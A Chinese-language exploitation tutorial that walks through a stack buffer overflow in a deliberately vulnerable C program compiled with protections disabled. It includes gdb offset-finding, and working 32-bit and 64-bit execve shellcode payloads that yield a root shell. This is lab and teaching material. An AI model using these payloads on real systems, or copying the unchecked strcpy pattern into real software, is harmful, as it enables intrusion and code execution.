漏洞代码
//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
/* [1] */ char buf[256];
/* [2] */ strcpy(buf,argv[1]);
/* [3] */ printf("Input:%s\n",buf);
return 0;
}
编译
echo 0 > /proc/sys/kernel/randomize_va_space
gcc -g -fno-stack-protector -z execstack -o vuln vuln.c -m32
chmod 777 vuln
上边的代码中第二部分存在溢出漏洞。
Return Address Overwrite
通过覆盖‘return address’地址来实现代码运行
首先查看main方法中的汇编
gdb vuln
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x0804843d <+0>: push ebp
0x0804843e <+1>: mov ebp,esp
0x08048440 <+3>: and esp,0xfffffff0
0x08048443 <+6>: sub esp,0x110
0x08048449 <+12>: mov eax,DWORD PTR [ebp+0xc]
0x0804844c <+15>: add eax,0x4
0x0804844f <+18>: mov eax,DWORD PTR [eax]
0x08048451 <+20>: mov DWORD PTR [esp+0x4],eax
0x08048455 <+24>: lea eax,[esp+0x10]
0x08048459 <+28>: mov DWORD PTR [esp],eax
0x0804845c <+31>: call 0x8048310 <strcpy@plt>
0x08048461 <+36>: lea eax,[esp+0x10]
0x08048465 <+40>: mov DWORD PTR [esp+0x4],eax
0x08048469 <+44>: mov DWORD PTR [esp],0x8048514
0x08048470 <+51>: call 0x8048300 <printf@plt>
0x08048475 <+56>: mov eax,0x0
0x0804847a <+61>: leave
0x0804847b <+62>: ret
End of assembler dump.
测试第一步:Return Address是否可以被覆盖
gdb vuln
gdb-peda$ r `python -c 'print "A"*300'`
gdb-peda$ p/x $eip
效果如下:
...
...
Program received signal SIGSEGV, Segmentation fault.
...
Stopped reason: SIGSEGV
0x41414141 in ?? ()
Missing separate debuginfos, use: debuginfo-install glibc-2.17-292.el7.i686
gdb-peda$ p/x $eip
$1 = 0x41414141
测试第二步:缓冲区到Return Address的offset是多少
结果显示offset为0x10c
0x10c = 0x100 + 0x8 + 0x4
其中
- 0x100是
buf
的长度 - 0x8 是栈对齐长度(alignment space)
- 0x4 存放呼叫者(本文中的main方法)的EBP值
我们来验证下:通过输入“A” * 268 + “B” * 4
来将return address将”AAAA”变为”BBBB”
gdb vuln
gdb-peda$ r `python -c 'print "A"*268 + "B"*4'`
效果如下
...
...
Program received signal SIGSEGV, Segmentation fault.
...
...
Stopped reason: SIGSEGV
0x42424242 in ?? ()
Missing separate debuginfos, use: debuginfo-install glibc-2.17-292.el7.i686
这样我们就可以通过控制return address来控制程序
exp流程
查看程序保护方式
python
>>> from pwn import *
>>> ELF('vuln').checksec()
[*] '/root/sploitfun/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
查看栈的读写运行权限,发现栈空间可读可写可运行
H localhost.localdomain root ~ more /proc/13972/maps
08048000-08049000 r-xp 00000000 fd:00 69981926 /root/sploitfun/vuln
08049000-0804a000 r-xp 00000000 fd:00 69981926 /root/sploitfun/vuln
0804a000-0804b000 rwxp 00001000 fd:00 69981926 /root/sploitfun/vuln
f7e01000-f7e02000 rwxp 00000000 00:00 0
f7e02000-f7fc6000 r-xp 00000000 fd:00 34048627 /usr/lib/libc-2.17.so
f7fc6000-f7fc7000 ---p 001c4000 fd:00 34048627 /usr/lib/libc-2.17.so
f7fc7000-f7fc9000 r-xp 001c4000 fd:00 34048627 /usr/lib/libc-2.17.so
f7fc9000-f7fca000 rwxp 001c6000 fd:00 34048627 /usr/lib/libc-2.17.so
f7fca000-f7fcd000 rwxp 00000000 00:00 0
f7fd8000-f7fd9000 rwxp 00000000 00:00 0
f7fd9000-f7fda000 r-xp 00000000 00:00 0 [vdso]
f7fda000-f7ffc000 r-xp 00000000 fd:00 34036408 /usr/lib/ld-2.17.so
f7ffc000-f7ffd000 r-xp 00021000 fd:00 34036408 /usr/lib/ld-2.17.so
f7ffd000-f7ffe000 rwxp 00022000 fd:00 34036408 /usr/lib/ld-2.17.so
fffdd000-ffffe000 rwxp 00000000 00:00 0 [stack]
运行如下命令查看buf地址
gdb vuln
gdb-peda$ b main
gdb-peda$ r
gdb-peda$ p &buf
结果如下
gdb-peda$ p &buf
$1 = (char (*)[256]) 0xffffd550
构造如下结构并调试
shellcode+padding+return_address
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" +"A"* 243 + "\x30\xd4\xff\xff"
调试成功
gdb-peda$ r `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" +"A"* 243 + "\x30\xd4\xff\xff"'`
Starting program: /root/sploitfun/vuln `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" +"A"* 243 + "\x30\xd4\xff\xff"'`
Input:1?h//shh/binPS
巴AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0?
process 27566 is executing new program: /usr/bin/bash
sh-4.2#
直接运行却报错
H localhost.localdomain root ~ | sploitfun 1 ./vuln `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" +"A"* 243 + "\x30\xd4\xff\xff"'`
Input:1?h//shh/binPS
巴AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0?
段错误
最后发现是环境变量出了问题,gdb与直接运行程序,造成了不同的环境变量,这些环境变量值写在stack中,造成了栈地址的不同,一种简单的解决方法是通过这个项目来统一环境变量https://github.com/hellman/fixenv
采用fixenv项目来统一环境变量,例如
./r.sh ./vuln
./r.sh gdb ./vuln
统一环境变量之后的buf地址
(gdb) p &buf
$1 = (char (*)[256]) 0xffffd510
最后的结果
H localhost.localdomain root ~ | sploitfun ./r.sh ./vuln `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" +"A"* 243 + "\x10\xd5\xff\xff"'`
Input:1?h//shh/binPS
巴AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?
sh-4.2# who
root pts/0 Nov 7 14:00 (61.172.240.228)
root pts/2 Nov 7 14:09 (61.172.240.228)
64位版本
首先关于64-bit你需要了解的是
- 通用寄存器被扩展到64-bit,名字变为RAX, RBX, RCX, RDX, RSI,RDI.
- ESP,EBP,EIP被扩展到64-bit,名字变为RIP, RBP,RSP
- 增加了额外的寄存器,从R8到R15
- 指针变成了8-bytes的长度
- 在栈上push/pop为8字节宽
- 最大的有效地址位0x00007FFFFFFFFFFF.
- 参数的传递通过寄存器来完成
代码同上,编译命令
echo 0 > /proc/sys/kernel/randomize_va_space
gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
chmod +x vuln
gdb调试
r `python -c 'print "A"*300'`
结果
...
RSP: 0x7fffffffe3d8 ('A' <repeats 36 times>)
RIP: 0x4005d4 (<main+87>: ret)
R8 : 0x4141414141414141 ('AAAAAAAA')
R9 : 0x7ffff7a5a27d (<_IO_vfprintf_internal+19661>: cmp BYTE PTR [rbp-0x510],0x0)
R10: 0x4141414141414141 ('AAAAAAAA')
R11: 0x246
R12: 0x400490 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe4b0 --> 0x2
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
...
程序崩溃了,但是并没有覆盖掉RIP,这是因为最大的地址位0x00007FFFFFFFFFFF
,我们把RIP覆盖成了非法的地址0x4141414141414141
这造成了进程的异常,为了能够控制RIP,我们需要把它的值变为0x0000414141414141
,现在我们的目标就是找到这个offset,我们可以使用cyclic来完成.
找到了offset
gdb-peda$ r `python -c 'print "A"*270'`
结果
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000414141414141 in ?? ()
找到写入shellcode的地址
gdb-peda$ p &buf
$2 = (char (*)[256]) 0x7fffffffe2f0
gdb-peda$ x/32gx 0x7fffffffe2f0
0x7fffffffe2f0: 0x4141414141414141 0x4141414141414141
0x7fffffffe300: 0x4141414141414141 0x4141414141414141
0x7fffffffe310: 0x4141414141414141 0x4141414141414141
27字节的64位shellcode如下\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05
或者\x90\x90\x90\x90\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x48\x89\xe7\x31\xf6\x6a\x3b\x58\x99\x0f\x05
最终结果
gdb-peda$ r `python -c 'print "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" +"A"* 237 + "\xf0\xe2\xff\xff\xff\x7f"'`
...
...
Input:1?谎H髹ST_WT^?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA疴
process 21665 is executing new program: /usr/bin/bash
Xshellsh-4.2# who
[New process 21674]
process 21674 is executing new program: /usr/bin/who
Missing separate debuginfos, use: debuginfo-install bash-4.2.46-33.el7.x86_64
root pts/0 Nov 19 13:31 (61.172.240.228)